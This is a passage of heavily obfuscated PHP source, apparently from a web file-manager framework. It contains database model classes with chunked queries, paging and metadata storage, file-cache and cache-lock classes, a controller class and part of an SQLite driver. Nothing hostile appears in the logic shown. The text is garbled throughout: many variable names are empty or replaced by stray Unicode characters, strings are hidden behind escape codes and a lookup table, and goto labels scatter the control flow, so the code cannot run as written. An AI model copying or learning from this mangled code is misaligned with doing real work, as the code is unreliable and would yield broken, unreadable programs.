$粒ධ) { $ = array(); $[$؈[347]] = $粒ධ; $粒ධ = $; } if (isset($this->options[$؈[270]])) { $this->options[$؈[270]] = array_merge($this->options[$؈[270]], $粒ධ); } else { $this->options[$؈[270]] = $粒ධ; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[㫙]; $this->options[$[287]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($ѭ, $ = null) { $ =& $_SERVER[㫙]; $this->options[$[348]] = is_null($) ? $ѭ : $ѭ . $[50] . $; return $this; } public function comment($) { $this->options[$_SERVER[㫙][349]] = $; return $this; } public function setProperty($, $ۨ) { if (property_exists($this, $)) { $this->{$} = $ۨ; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\144\151\146\171\x54\x69\155\x65", "\164\151\x6d\145", "\x69\x6e\163\x65\x72\x74\54\165\160\144\141\164\145", "\x66\x75\x6e\143\x74\151\x6f\x6e"), array("\x63\x72\x65\141\x74\x65\124\x69\x6d\x65", "\x74\151\x6d\x65", "\151\156\x73\x65\162\x74", "\x66\x75\x6e\x63\x74\x69\157\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ = '', $𾄈 = '') { parent::__construct($, $, $𾄈); } protected $tableMeta = array(); protected function _beforeInsert(&$Ԡ, $޾Ņ) { $غ =& $_SERVER[㫙]; if (!$this->checkDataAutoHas($غ[350])) { return; } $this->dataBeforeFilter($Ԡ, $غ[350]); } protected function _beforeUpdate(&$䕐݆, $) { $ =& $_SERVER[㫙]; if (!$this->checkDataAutoHas($[351])) { return; } $this->dataBeforeFilter($䕐݆, $[351]); } protected function _afterSelect(&$ۋ, $򡑪) { if (!is_array($ۋ)) { return; } if (!$this->checkDataAutoHas($_SERVER[㫙][352])) { return; } foreach ($ۋ as &$ݼ) { $this->dataAfterFilter($ݼ); } unset($ݼ); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[㫙][352])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $í = json_encode($); $í = preg_replace_callback($_SERVER[㫙][353], function ($ɢ) { return addslashes($ɢ[0]); }, $í); return json_decode($í); } public static function textDecode($) { $̡ =& $_SERVER[㫙]; $ע = json_encode($); $ע = preg_replace_callback($̡[354], function ($ߜ) { return $_SERVER[㫙][98]; }, $ע); return json_decode($ע); } public function setAutoIncrement($) { $½ = array($this->getPk() => $); $ = $this->data($½)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ٚ = $this->getTableName(); $ţ = $this->max($this->getPk()); $ʙ = $this->query("\163\x68\x6f\167\x20\164\x61\142\154\145\40\163\164\x61\164\165\163\40\x77\x68\x65\162\x65\x20\116\141\155\145\75\x27{$ٚ}\47"); $Ї = $ʙ[0][$_SERVER[㫙][355]]; $瘅 = max($ţ, $Ї); return $瘅; } protected function _callBefore($ϥ, $) { return $this->cacheCallCheck($ϥ, $, !1); } protected function _callAfter($ɠ, $î) { return $this->cacheCallCheck($ɠ, $î, !0); } protected function cacheFunctionAlias($݃) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $ = false) { $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $ڒ؂ => $澠) { $֖ = $澠[0]; $ = explode($_SERVER[㫙][50], $澠[1]); if ($ == $ڒ؂) { return $this->cacheFunctionGet($ڒ؂, $֖); } if ($ && in_array($, $)) { $this->cacheFunctionClear($ڒ؂, $֖); } } } public function cacheFunctionGet($, $) { $ = $this->cacheKeyMake($, $); $㟑 = Cache::get($); if (!is_array($㟑)) { $㟑 = call_user_func_array(array($this, $), array($, !0)); Cache::set($, $㟑); } return $㟑; } public function cacheFunctionClear($, $) { $ڊ = $; if (!is_array($)) { $ڊ = array($); } foreach ($ڊ as $) { $ϭ = $this->cacheKeyMake($, $); Cache::remove($ϭ); } } private function cacheKeyMake($䚕, $ԡڠ) { $ײ =& $_SERVER[㫙]; return get_class($this) . $ײ[11] . $䚕 . $ײ[356] . $ԡڠ; } protected function selectPageReset() { $ԫ =& $_SERVER[㫙]; if (isset($GLOBALS[$ԫ[357]])) { return; } $GLOBALS[$ԫ[357]] = isset($GLOBALS[$ԫ[7]][$ԫ[358]]) ? $GLOBALS[$ԫ[7]][$ԫ[358]] : !1; $GLOBALS[$ԫ[359]] = isset($GLOBALS[$ԫ[7]][$ԫ[348]]) ? $GLOBALS[$ԫ[7]][$ԫ[348]] : !1; $GLOBALS[$ԫ[7]][$ԫ[358]] = !1; $GLOBALS[$ԫ[7]][$ԫ[348]] = !1; } protected function selectPageRestore() { $Ͳ =& $_SERVER[㫙]; if (!isset($GLOBALS[$Ͳ[357]])) { return; } $GLOBALS[$Ͳ[7]][$Ͳ[358]] = $GLOBALS[$Ͳ[357]]; $GLOBALS[$Ͳ[7]][$Ͳ[348]] = $GLOBALS[$Ͳ[359]]; if ($GLOBALS[$Ͳ[7]][$Ͳ[358]] === !1) { unset($GLOBALS[$Ͳ[7]][$Ͳ[358]]); } if ($GLOBALS[$Ͳ[7]][$Ͳ[348]] === !1) { unset($GLOBALS[$Ͳ[7]][$Ͳ[348]]); } unset($GLOBALS[$Ͳ[357]]); unset($GLOBALS[$Ͳ[359]]); } protected function selectPage($ = 200, $Ҍ = 1) { $ =& $_SERVER[㫙]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$[358]]) && $in[$[358]] ? $in[$[358]] : $; if ($ === -1) { $in[$[358]] = !1; $ = 100000000; $ = $; } $՗ = $; $՗[$[360]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $Ҍ = intval(isset($in[$[348]]) && $in[$[348]] ? $in[$[348]] : $Ҍ); $Ҍ = $Ҍ <= 1 ? 1 : $Ҍ; $㲕Nj = array(); $ž = 1; if ($Ҍ == 1 && $ž) { $this->optionsValue($); $㲕Nj = $this->page($Ҍ, $)->select(); $˜ = is_array($㲕Nj) ? count($㲕Nj) : 0; if ($˜ < $) { $ = 1; } else { $this->optionsValue($՗); $˜ = intval($this->count()); $ = ceil($˜ / $); } } else { $this->optionsValue($՗); $˜ = intval($this->count()); $ = ceil($˜ / $); $Ҍ = $Ҍ >= $ ? $ : $Ҍ; $this->optionsValue($); $㲕Nj = $this->page($Ҍ, $)->select(); } if (!is_array($㲕Nj)) { $㲕Nj = array(); } if ($ == 1) { $˜ = count($㲕Nj); } $ؔ = array($[361] => array($[362] => $˜, $[358] => $, $[348] => $Ҍ, $[363] => $), $[364] => $㲕Nj); return $ؔ; } protected function checkLength($ʆ, $ = 0, $줾 = '') { $鹏 =& $_SERVER[㫙]; $ = $ ? $ : 65536; if (!$ʆ || strlen($ʆ) < $) { return; } $줾 = $줾 ? $줾 . $鹏[71] : $鹏[12]; show_json($줾 . LNG($鹏[365]) . "\50{$}\51", !1); } protected function metaSet($Ѳ, $ = null, $ɚ = null) { $…ɢ =& $_SERVER[㫙]; if (!$this->tableMeta || !$Ѳ) { return !1; } $ = $this->tableMeta[$…ɢ[366]]; $͵ = $this->tableMeta[$…ɢ[367]]; $ڝ = Model($͵); $ = array($ => $Ѳ, $…ɢ[368] => $); if (is_null($)) { return $ڝ->where(array($ => $Ѳ))->delete(); } if (is_null($ɚ) && is_string($)) { return $ڝ->where($)->delete(); } $ޣ腹 = is_array($) ? $ : array(); if (is_string($)) { $ޣ腹[$] = $ɚ; } $ = array(); foreach ($ޣ腹 as $ => $Ռ) { if (is_null($Ռ) && is_string($)) { $ڝ->where(array($ => $Ѳ, $…ɢ[368] => $))->delete(); continue; } $this->checkLength($Ռ, !1, $͵ . $…ɢ[4] . $); $[] = array($ => $Ѳ, $…ɢ[95] => $, $…ɢ[369] => $Ռ); } $º = $…ɢ[370] . $͵; CacheLock::lock($º); $ڝ->where(array($ => $Ѳ))->addAll($, array(), !0); CacheLock::unlock($º); return !0; } public function metaGet($ٷ, $񘸍 = false) { $ =& $_SERVER[㫙]; if (!$this->tableMeta) { return array(); } $ԯ = $this->tableMeta[$[366]]; $ = Model($this->tableMeta[$[367]]); if ($񘸍) { $乏 = array($ԯ => $ٷ, $[95] => $񘸍); return $->where($乏)->getField($[369]); } $乏 = array($ԯ => $ٷ); $􎚼ٞ = $->field($[371])->where($乏)->select(); $􎚼ٞ = array_to_keyvalue($􎚼ٞ, $[95], $[369]); return $􎚼ٞ; } private function checkDataAutoHas($ή) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($ή, explode($_SERVER[㫙][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$Ȁ߉, $ݝ) { $ӵ =& $_SERVER[㫙]; if (!is_array($Ȁ߉)) { return; } foreach ($this->dataAuto as $) { $NJ = $[0]; if (!in_array($ݝ, explode($ӵ[50], $[2]))) { continue; } switch (trim($[3])) { case $ӵ[316]: case $ӵ[317]: $̀ȝ = $[1]; $ = isset($[4]) ? (array) $[4] : array(); if ($̀ȝ == $ӵ[196] && array_key_exists($NJ, $Ȁ߉)) { if (!$Ȁ߉[$NJ]) { unset($Ȁ߉[$NJ]); } break; } if (isset($Ȁ߉[$NJ])) { array_unshift($, $Ȁ߉[$NJ]); } if ($ӵ[316] == $[3]) { $Ȁ߉[$NJ] = call_user_func_array($̀ȝ, $); } else { $Ȁ߉[$NJ] = call_user_func_array(array(&$this, $̀ȝ), $); } break; case $ӵ[265]: if (isset($Ȁ߉[$NJ]) && $Ȁ߉[$NJ]) { $Ȁ߉[$NJ] = call_user_func_array(array(&$this, $[1]), array($Ȁ߉[$NJ])); } break; case $ӵ[268]: $Ȁ߉[$NJ] = $Ȁ߉[$[1]]; break; case $ӵ[289]: if (isset($Ȁ߉[$NJ]) && !is_string($Ȁ߉[$NJ])) { $Ȁ߉[$NJ] = json_encode_force($Ȁ߉[$NJ]); } break; case $ӵ[318]: if ($Ȁ߉[$NJ] === $ӵ[12]) { unset($Ȁ߉[$NJ]); } break; case $ӵ[319]: $Ȁ߉[$NJ] = $[1]; default: break; } } if ($ݝ == $ӵ[350]) { $ = strtolower($this->db->getDbType()); if (strpos($, $ӵ[13]) !== 0) { return; } $ = $this->field(!0)->fields; $Є = $[$ӵ[247]]; if (isset($[$ӵ[246]])) { unset($Є[$[$ӵ[246]]]); } foreach ($Є as $ => $ݝ) { if (!isset($Ȁ߉[$])) { $Ȁ߉[$] = $ӵ[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[㫙]; foreach ($this->dataAuto as $ɈĽ) { $ = $ɈĽ[0]; if (!isset($[$])) { continue; } if (!in_array($[352], explode($[50], $ɈĽ[2]))) { continue; } switch (trim($ɈĽ[3])) { case $[316]: case $[317]: $ڈͧ = isset($ɈĽ[4]) ? (array) $ɈĽ[4] : array(); array_unshift($ڈͧ, $[$]); if (isset($ɈĽ[4]) && $ɈĽ[4] == $[372]) { $ڈͧ = array($[$]); } if ($[316] == $ɈĽ[3]) { $[$] = call_user_func_array($ɈĽ[1], $ڈͧ); } else { $[$] = call_user_func_array(array(&$this, $ɈĽ[1]), $ڈͧ); } break; case $[265]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $ɈĽ[1]), array($[$])); } break; case $[268]: $[$] = $[$ɈĽ[1]]; break; case $[289]: $ = $[$]; $[$] = json_decode($, !0); if (is_null($[$])) { $[$] = $; } break; case $[318]: if ($[$] === $[12]) { unset($[$]); } break; case $[319]: $[$] = $ɈĽ[1]; break; default: break; } } } public function saveAll($ᖯ) { $ =& $_SERVER[㫙]; $ζ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ᖯ = is_array($ᖯ) ? $ᖯ : array(); $ = $[373]; $ = 0; $݋ = array(); $Я = count($ᖯ); for ($ڳ = 0; $ڳ < $Я; $ڳ++) { $ = $ᖯ[$ڳ]; if (!is_array($) || count($) != 4) { continue; } $̂ = "\125\120\x44\x41\x54\105\40\x60{$ζ}\140\x20\123\105\124\x20{$[2]}\40\75\x20\103\101\x53\x45\40{$[0]}\x20\12"; if ($ == 0) { $ = $̂; } $݋[] = $[117] . $[1] . $[117]; $++; $ .= "\40\x57\110\105\x4e\40\x27{$[1]}\x27\x20\124\x48\x45\x4e\40\x27{$[3]}\47\x20\12"; if ($ == $ || $ڳ == $Я - 1) { $ѓ = implode($[50], $݋); $ .= "\x20\105\116\104\40\40\x57\110\x45\122\105\x20{$[0]}\40\x49\116\x20\50{$ѓ}\51\x20"; $this->execute($); $ = 0; $ = $̂; $this->chunkEventCheck(count($݋)); $݋ = array(); } } $this->chunkEventSet(); } public function saveAllEach($܍) { $ =& $_SERVER[㫙]; $ = $this->tablePrefix . $this->tableName; foreach ($܍ as $ˢ) { if (!is_array($ˢ) || count($ˢ) != 4) { continue; } $ = $ˢ[0] . $[374] . $ˢ[1] . $[117]; $ˈ = $ˢ[2] . $[374] . $ˢ[3] . $[117]; $ = "\x75\160\144\x61\x74\x65\x20{$}\40\163\145\x74\40{$ˈ}\40\x77\x68\145\x72\x65\40{$}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($Ŗ) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[㫙][375]] = $Ŗ; Hook::trigger($this->_chunkEvent, $); } public function addAll($䟴, $ = array(), $֯ = false) { $đ =& $_SERVER[㫙]; ignore_timeout(); $ۼѼ = self::SQL_WHERE_IN_CHUNK; if (empty($䟴)) { $this->error = think_lang($đ[266]); return !1; } $ = $this->_parseOptions($); foreach ($䟴 as $Ӈ => $ӗ) { $䟴[$Ӈ] = $this->_facade($ӗ); $this->_beforeInsert($䟴[$Ӈ], $); } if (method_exists($this->db, $đ[267])) { for ($ = 0; $ < count($䟴); $ += $ۼѼ) { $ǎ = array_slice($䟴, $, $ۼѼ); if (!is_array($ǎ) || count($ǎ) == 0) { break; } $ = $this->db->insertAll($ǎ, $, $֯); $this->chunkEventCheck(count($ǎ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($䟴 as $Ӈ => $ӗ) { $ = $this->db->insert($ӗ, $, $֯); } $this->commit(); } if (!1 !== $) { $ے = $this->getLastInsID(); if ($ے) { return $ے; } } return $; } public function save($ڗ՝ = '', $闺Ȗ = array()) { $띿 =& $_SERVER[㫙]; $ = self::SQL_WHERE_IN_CHUNK; $Ӣ = $this->optionsValue(); $ = $this->findWhereField($Ӣ); if (!$) { return parent::save($ڗ՝, $闺Ȗ); } $ = 0; $ = $Ӣ[$띿[270]][$][1]; $ = is_array($) ? $ : array(); $ϗ = count($); for ($乕 = 0; $乕 < $ϗ; $乕 += $) { $¸ = array_slice($, $乕, $); if (!is_array($¸) || count($¸) == 0) { break; } $Ӣ[$띿[270]][$][1] = $¸; $this->optionsValue($Ӣ); $ += parent::save($ڗ՝, $闺Ȗ); $this->chunkEventCheck(count($¸)); } $this->chunkEventSet(); return $; } public function add($ﻧ = '', $ = array(), $⽥ = false) { if ($this->addTaskStatus && is_array($ﻧ)) { $this->addTaskData[] = $ﻧ; return; } return parent::add($ﻧ, $, $⽥); } public function parseWhereLike($, $š = '', $䥴 = false, &$۶ = false) { $œ =& $_SERVER[㫙]; $폱 = $GLOBALS[$œ[6]][$œ[376]]; if (!$폱[$œ[377]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ϩ = 0; foreach ($ as $В => $ߣ) { if (is_array($ߣ) && count($ߣ) == 2 && $ߣ[0] == $œ[378] && is_string($ߣ[1]) && substr($ߣ[1], 0, 1) == $œ[379] && substr($ߣ[1], strlen($ߣ[1]) - 1, 1) == $œ[379]) { $۶ = !0; $Ἲ = is_string($В) ? $В : $š; $в = substr($ߣ[1], 1, strlen($ߣ[1]) - 2); $в = $this->db->escapeString($в); if (!strpos($Ἲ, $œ[10])) { $Ἲ = $œ[380] . $Ἲ . $œ[380]; } $Ԅ = $œ[181] . $в . $œ[181]; if ($폱[$œ[381]]) { $Ԅ = $œ[382] . $в . $œ[383]; if ($폱[$œ[384]]) { $Ԅ = $œ[383] . $в . $œ[382]; } } $[$ϩ] = $œ[385] . $Ἲ . $œ[386] . $Ԅ . $œ[387]; $ϩ++; continue; } if (is_array($ߣ)) { $š = is_string($В) ? $В : $š; $ߣ = $this->parseWhereLike($ߣ, $š, !0, $۶); } if (is_numeric($В)) { $[$ϩ] = $ߣ; $ϩ++; } else { $[$В] = $ߣ; } } if ($۶ && !$䥴) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($݇ = array()) { $ⶵ =& $_SERVER[㫙]; $뉧 = self::SQL_WHERE_IN_CHUNK; $磖׶ = $this->optionsValue(); $͖ = $this->findWhereField($磖׶); if (!$͖ || isset($磖׶[$ⶵ[287]]) || isset($磖׶[$ⶵ[348]])) { return parent::select($݇); } $Ҍ = $磖׶[$ⶵ[270]][$͖][1]; $Ҍ = is_array($Ҍ) ? $Ҍ : array(); $ = null; for ($ = 0; $ < count($Ҍ); $ += $뉧) { $Ԇʒ = array_slice($Ҍ, $, $뉧); if (!is_array($Ԇʒ) || count($Ԇʒ) == 0) { break; } $磖׶[$ⶵ[270]][$͖][1] = $Ԇʒ; $this->optionsValue($磖׶); $ë = parent::select($݇); if (!$ë) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $ë); } return $; } public function delete($ = array()) { $ǻ =& $_SERVER[㫙]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($); } $ƒȁ = 0; $ = $[$ǻ[270]][$][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $) { $Ճ = array_slice($, $, $); if (!is_array($Ճ) || count($Ճ) == 0) { break; } $[$ǻ[270]][$][1] = $Ճ; $this->optionsValue($); $ƒȁ += parent::delete($); } return $ƒȁ; } private function findWhereField($ɤ) { $짾 =& $_SERVER[㫙]; $݃ = self::SQL_WHERE_IN_CHUNK; if (!is_array($ɤ) || !is_array($ɤ[$짾[270]])) { return !1; } foreach ($ɤ[$짾[270]] as $ɂ => $ٗܮ) { if (is_array($ٗܮ) && isset($ٗܮ[0]) && is_string($ٗܮ[0]) && strtolower($ٗܮ[0]) == $짾[7] && is_array($ٗܮ[1]) && count($ٗܮ[1]) > $݃) { ignore_timeout(); return $ɂ; } } return !1; } public function setMasterDB($ɧ = true) { think_config($_SERVER[㫙][388], $ɧ); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\x73\164\145\155\x4f\160\x74\x69\x6f\156"; public $field = array(); public function listData($ = false, $ϩ = "\155\157\144\x69\146\x79\x54\x69\x6d\145", $ = false) { $׋ = Model($this->modelType)->get(!1, $this->optionType, !0); $䲊 = array_values($׋); if ($䲊 && $䲊[0] && !is_array($䲊[0])) { Model($this->modelType)->cacheRemove($this->optionType); $׋ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$׋) { return $ ? null : array(); } if (!$) { $׋ = array_filter(array_values($׋)); return array_sort_by($׋, $ϩ, $); } return $׋[$_SERVER[㫙][389] . $]; } public function insert($ď) { $ =& $_SERVER[㫙]; $ď = array_field_key($ď, $this->field); $ٵԡ = Model($this->modelType)->get($[390], $this->optionType . $[391]); $ٵԡ = $ٵԡ ? $ٵԡ : 0; $ď[$[392]] = ++$ٵԡ; $ď[$[193]] = time(); $ď[$[86]] = time(); Model($this->modelType)->set($[390], $ٵԡ, $this->optionType . $[391]); Model($this->modelType)->set($[389] . $ٵԡ, $ď, $this->optionType); return $ٵԡ; } public function update($, $ҿ) { $ =& $_SERVER[㫙]; $ҿ = array_field_key($ҿ, $this->field); $ٺ = $this->listData($); if (!$ٺ || !$) { return !1; } $ҿ = array_merge($ٺ, $ҿ); $ҿ[$[86]] = time(); return Model($this->modelType)->set($[389] . $, $ҿ, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[㫙][389] . $, $this->optionType); } public function clear() { $쯺 =& $_SERVER[㫙]; Model($this->modelType)->remove($쯺[390], $this->optionType . $쯺[391]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ʖ, $؊ά) { if (!$؊ά) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $ʖ); return isset($[$؊ά]) ? $[$؊ά] : !1; } public function findByName($ڥ) { return $this->findByKey($_SERVER[㫙][32], $ڥ); } protected function resetData($섺) { $єҍ =& $_SERVER[㫙]; $섺 = is_array($섺) ? $섺 : array(); $ = array(); for ($Ɉ = 0; $Ɉ < count($섺); $Ɉ++) { $[$єҍ[389] . $섺[$Ɉ][$єҍ[392]]] = $섺[$Ɉ]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $Տ = array_to_keyvalue($this->listData(), $_SERVER[㫙][32]); if (!$Տ || !isset($Տ[$])) { return $; } for ($ҁҊ = 1; $ҁҊ < count($Տ); $ҁҊ++) { $ú = $ . "\x28{$ҁҊ}\51"; if (!isset($Տ[$ú])) { return $ú; } } return $ú; } } goto Cﰢ; C⬵҈: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($ѯ, $țǠ) { $ӻ =& $_SERVER[㫙]; $this->cachePath = $ѯ[$ӻ[78]]; $this->prefix = $ӻ[835]; $this->cacheTime = $țǠ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($Դ) { $蹰 =& $_SERVER[㫙]; $Դ = str_replace(array($蹰[836], $蹰[98], $蹰[73]), $蹰[837], $Դ); return $this->cachePath . $蹰[838] . $Դ . $蹰[839]; } public function set($ș, $, $ܛ = false) { $ = $this->getFile($ș); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $ܛ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($ڶ) { $ = $this->getFile($ڶ); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($䦾) { $٥ = $this->getFile($䦾); return @unlink($٥); } public function deleteAll() { $ =& $_SERVER[㫙]; $ = scandir($this->cachePath); foreach ($ as $ش) { $ = $this->cachePath . $ش; if (strpos($, $[839]) && strpos($, $[840])) { @unlink($); } } } public function clearTimeout() { $䲡 =& $_SERVER[㫙]; $׏ = scandir($this->cachePath); foreach ($׏ as $) { $ڕ = $this->cachePath . $; if (strpos($ڕ, $䲡[839]) && strpos($ڕ, $䲡[840]) && filemtime($ڕ) < time()) { @unlink($ڕ); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $էڕГ =& $_SERVER[㫙]; if (self::$handle) { return self::$handle; } $؂ = $GLOBALS[$էڕГ[6]][$էڕГ[344]]; self::$timeout = $؂[$էڕГ[841]] ? $؂[$էڕГ[841]] : 10; $ɴ = _get($GLOBALS[$էڕГ[6]], $էڕГ[842]); $ = $؂[$էڕГ[828]] ? $؂[$էڕГ[828]] : $էڕГ[192]; if ($ == $էڕГ[21] && $ɴ == $էڕГ[13]) { $ = $էڕГ[192]; } switch ($) { case $էڕГ[831]: self::$handle = new CacheLockRedis(); break; case $էڕГ[832]: self::$handle = new CacheLockMemcached(); break; case $էڕГ[21]: self::$handle = new CacheLockDatabase(); break; case $էڕГ[192]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($էڕГ[843], $էڕГ[844]); } return self::$handle; } private static function key($) { return $_SERVER[㫙][845] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ː = '') { self::$errorMsg = $ː; } public static function lockGlobal($κ, $ҧ) { return self::lock($κ, $ҧ, !0); } public static function lock($, $ܐ = false, $ܙ = false) { $і﹐ =& $_SERVER[㫙]; $ª = self::init(); $ = self::key($); $ܐ = $ܐ ? $ܐ : self::$timeout; $ϗ = $ª->lock($, $ܐ); $ = timeFloat(); if (!$ϗ) { $ߔ = "\154\x6f\x63\x6b\x20\x65\162\162\x6f\x72\73\x6b\145\x79\x3d{$}\73\x74\151\x6d\145\x3d{$ܐ}\x3b" . self::$errorMsg . $і﹐[71] . get_caller_msg(); $ŭĠ = LNG($і﹐[846]) . "\x28{$ܐ}\163\x29\56" . LNG($і﹐[847]); $ŭĠ .= $і﹐[848]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ŭĠ = $ŭĠ . $і﹐[849] . self::$errorMsg; } write_log($ߔ, $і﹐[844]); show_json($ŭĠ, !1); } if (!$ܙ) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ݯ = number_format(timeFloat() - $, 3); write_log($і﹐[850] . $ . $і﹐[851] . $ݯ, $і﹐[844]); } return $ϗ; } public static function lockGet($) { $ҵ = self::key($); if (self::$lockItem[$ҵ]) { return self::$lockItem[$ҵ]; } return self::init()->lockGet($ҵ); } public static function unlock($ȁ) { $ =& $_SERVER[㫙]; $ = self::key($ȁ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[852] . $ȁ, $[844]); } return; } public static function unlockRuntime() { $鲕 =& $_SERVER[㫙]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ጩ => $޿) { if (!$޿) { continue; } $->unlock($ጩ); if (!$) { $ = !0; write_log($鲕[853] . $ጩ . $鲕[71] . get_caller_msg(), $鲕[844]); continue; } write_log($鲕[853] . $ጩ, $鲕[844]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $Ė = number_format(timeFloat() - TIME_FLOAT, 3); write_log($鲕[854] . $Ė . $鲕[855] . ACTION, $鲕[844]); } } public static function fileLock($颡) { $ =& $_SERVER[㫙]; if (!$GLOBALS[$[856]]) { $GLOBALS[$[856]] = array(); } $GLOBALS[$[856]][$颡] = !1; $ = fopen(DATA_PATH . $颡 . $[857], $[858]); if (!$) { return !1; } $GLOBALS[$[856]][$颡] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($颡); show_json($[859], !1); return !1; } public static function fileUnlock($ʹ) { $ =& $_SERVER[㫙]; $ʘ = $GLOBALS[$[856]][$ʹ]; if (!$ʘ) { return; } $GLOBALS[$[856]][$ʹ] = !1; flock($ʘ, LOCK_UN); fclose($ʘ); } public static function fileUnlockAll() { $≓ =& $_SERVER[㫙]; if (!$GLOBALS[$≓[856]]) { return; } foreach ($GLOBALS[$≓[856]] as $Ԉ => $) { if (!$) { continue; } $GLOBALS[$≓[856]][$Ԉ] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$≓[856]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto d淾; eʦ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[㫙]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($Ѽ) { if (1 === func_num_args()) { $this->{$Ѽ} = new $Ѽ(); } else { $ۘ = new ReflectionClass($Ѽ); $ = func_get_args(); array_shift($); $this->{$Ѽ} = $ۘ->newInstanceArgs($); } return $this->{$Ѽ}; } public function routeBind($, $ȩپ, $ = 3) { $ =& $_SERVER[㫙]; $ = $this->in[$[9]]; $ = str_replace($[10], $[11], trim(trim($, $[8]), $[12])); if (!$ || count($) <= $) { return !1; } $ = !0; $ = explode($[8], $); for ($ڪ¢ = 0; $ڪ¢ < count($); $ڪ¢++) { if ($[$ڪ¢] != $[$ + $ڪ¢]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $ȩپ), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[㫙][9]]; if (count($) <= $) { return array(); } $ = array(); for ($К = $; $К < count($); $К += 2) { $[$[$К]] = $[$К + 1]; $this->in[$[$К]] = $[$К + 1]; } return $; } protected function assign($ؿ, $Ӥ) { $this->values[$ؿ] = $Ӥ; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($į = '') { $˼ =& $_SERVER[㫙]; if (!extension_loaded($˼[13])) { think_exception(think_lang($˼[14]) . $˼[15]); } if (!empty($į)) { if (!isset($į[$˼[16]])) { $į[$˼[16]] = 438; } $this->config = $į; if (empty($this->config[$˼[17]])) { $this->config[$˼[17]] = array(); } } } public function connect($׺ = '', $ = 0) { $܋ =& $_SERVER[㫙]; if (!isset($this->linkID[$])) { if (empty($׺)) { $׺ = $this->config; } $Ń = !empty($׺[$܋[17]][$܋[18]]) ? $׺[$܋[17]][$܋[18]] : $this->pconnect; $ = $Ń ? $܋[19] : $܋[20]; $this->linkID[$] = $($׺[$܋[21]], $׺[$܋[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($܋[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($ܴ) { $ۏ =& $_SERVER[㫙]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ܴ; if ($this->queryID) { $this->free(); } think_action_status($ۏ[23], 1); think_status($ۏ[24]); $this->queryID = sqlite_query($this->_linkID, 